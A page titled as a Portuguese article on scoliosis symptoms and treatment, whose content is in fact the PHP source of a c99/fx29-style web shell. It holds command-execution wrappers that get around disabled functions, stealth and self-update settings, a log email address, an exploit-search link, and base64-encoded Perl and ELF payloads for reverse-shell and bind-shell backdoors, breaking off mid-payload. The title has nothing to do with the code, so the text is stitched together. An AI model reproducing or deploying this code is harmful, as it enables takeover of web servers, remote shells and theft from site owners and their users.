Os sintomas e tratamento da escoliose

'.getenv("HTTP_HOST").' - '.$sh_name.' '; //Authentication $login = ""; $pass = ""; $md5_pass = ""; //Password yg telah di enkripsi dg md5. Jika kosong, md5($pass). $host_allow = array("*"); //Contoh: array("192.168.0.*","127.0.0.1") $login_txt = "Restricted Area"; //Pesan HTTP-Auth $accessdeniedmess = "".$sh_name.": access denied"; $gzipencode = TRUE; $updatenow = FALSE; //Jika TRUE, update shell sekarang. $c99sh_updateurl = $sh_mainurl."fx29sh_update.php"; $c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt"; //$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php"; //$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt"; $filestealth = TRUE; //TRUE, tidak merubah waktu modifikasi dan akses. $curdir = "./"; $tmpdir = ""; $tmpdir_log = "./"; $log_email = "feelcomz@gmail.com"; //email untuk pengiriman log. $sort_default = "0a"; //Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending $sort_save = TRUE; //Jika TRUE, simpan posisi pengurutan menggunakan cookies. $sess_cookie = "c99shvars"; //Nama variabel Cookie $usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Hapus file yg telah di-copy setelah dipaste $hexdump_lines = 8; $hexdump_rows = 24; $win = strtolower(substr(PHP_OS,0,3)) == "win"; $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } //Functions function get_phpini() { function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } if (@function_exists('ini_get_all')) { $r = ""; echo "

"; foreach (@ini_get_all() as $key=>$value) { $r .= ""; } echo $r; echo "
DirectiveLocal ValueGlobal Value
".$key."
".U_value($value['local_value'])."
".U_value($value['global_value'])."
"; } } function disp_drives($curdir,$surl) { $letters = ""; $v = explode("\\",$curdir); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = $isdiskette = $letter == "A"; if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= " ["; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= "] "; } } if (!empty($letters)) {Return $letters;} else {Return "None";} } if (is_callable("disk_free_space")) { function disp_freespace($curdrv) { $free = disk_free_space($curdrv); $total = disk_total_space($curdrv); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2)."%"; $free = view_size($free); $total = view_size($total); return "$free of $total ($free_percent)"; } } //w4ck1ng Shell if (!function_exists("myshellexec")) { if(is_callable("popen")) { function myshellexec($cmd) { if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; } while (!feof($p)) { $line=fgets($p,1024); $out .= $line; } pclose($p); return $out; } } else { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) { exec($cmd,$result); $result = join("\n",$result); } elseif (($result = $cmd) !== FALSE) { } elseif (is_callable("system") and !in_array("system",$disablefunc)) { $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) { $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v; } elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) { $result .= fread($fp,1024); } pclose($fp); } } return $result; } } } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } else { $res = "Ex() Disabled!"; } } return $res; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } //End of w4ck1ng Shell //Start Enumerate function $hostname_x = php_uname(n); $itshome = getcwd(); if (!$win) { $itshome = str_replace("/home/","~",$itshome); $itshome = str_replace("/public_html","/fx29sh.php",$itshome); } else { $itshome = ""; } $enumerate = "http://".$hostname_x."/".$itshome.""; //End Enumerate function //milw0rm search $Lversion = php_uname(r); $OSV = php_uname(s); if(eregi("Linux",$OSV)) { $Lversion=substr($Lversion,0,6); $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; } else { $Lversion=substr($Lversion,0,3); $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; } //End of milw0rm search //Backdoor $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAeAAAABIAAAB9AAAA8IgECAQAAAARAA4ATwAAAAAAAAA5AAAAEgAAAAEAAAAAAAAAAAAAACAAAAAVAAAAAAAAAAAAAAAgAAAAAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AGNvbm5lY3QAZXhlY2wAcGVycm9yAGR1cDIAc3lzdGVtAHNvY2tldABiemVybwBzdHJjYXQAaW5ldF9hZGRyAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABkYWVtb24AX19saWJjX3N0YXJ0X21haW4Ac3RybGVuAGNsb3NlAEdMSUJDXzIuMAAAAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABACQAAAAQAAAAAAAAABBpaQ0AAAIAsgAAAAAAAAAImgQIBhMAABiaBAgHAQAAHJoECAcCAAAgmgQIBwMAACSaBAgHBAAAKJoECAcFAAAsmgQIBwYAADCaBAgHBwAANJoECAcIAAA4mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+D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EgAAAFwCAAAAAAAAKAAAABIAAABsAgAAZJoECAAAAAAQAPH/cwIAAAyaBAgAAAAAEQAVAIkCAABomgQIAAAAABAA8f+OAgAAAAAAAA4AAAASAAAAnwIAAAAAAAB4AAAAEgAAALICAAAsmQQIAAAAABAC8f/FAgAA8IgECAQAAAARAA4A1AIAAFiaBAgAAAAAEAAWAOECAAAAAAAAOQAAABIAAADzAgAAAAAAAAAAAAAgAAAABwMAACyZBAgAAAAAEALx/x0DAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; $backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP///42TIP///4lF8CnQwfgCOcZzFonX/xSyi0Xwg8YBKfiJ+sH4AjnGcuyDxAxbXl9dw1WJ5YPsGIld9Ogt/f//gcPREQAAiXX4iX38jbMg////jbsg////Kf7B/gLrA/8Ut4PuAYP+/3X16DoAAACLXfSLdfiLffyJ7F3DkFWJ5VOD7AShrJkECIP4/3QSu6yZBAj/0ItD/IPrBIP4/3Xzg8QEW13DkJCQVYnlU+i7/P//gcNfEQAAg+wE6LH8//+DxARbXcMAAAADAAAAAQACADo6IHc0Y2sxbmctc2hlbGwgKFByaXZhdGUgQnVpbGQgdjAuMykgYmluZCBzaGVsbCBiYWNrZG9vciA6OiAKCgBzb2NrZXQAYmluZABsaXN0ZW4AL2Jpbi9zaAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAACQAAAAMAAAAiIQECA0AAAAkiQQIBAAAAEiBBAgFAAAAEIMECAYAAADggQQICgAAALAAAAALAAAAEAAAABUAAAAAAAAAAwA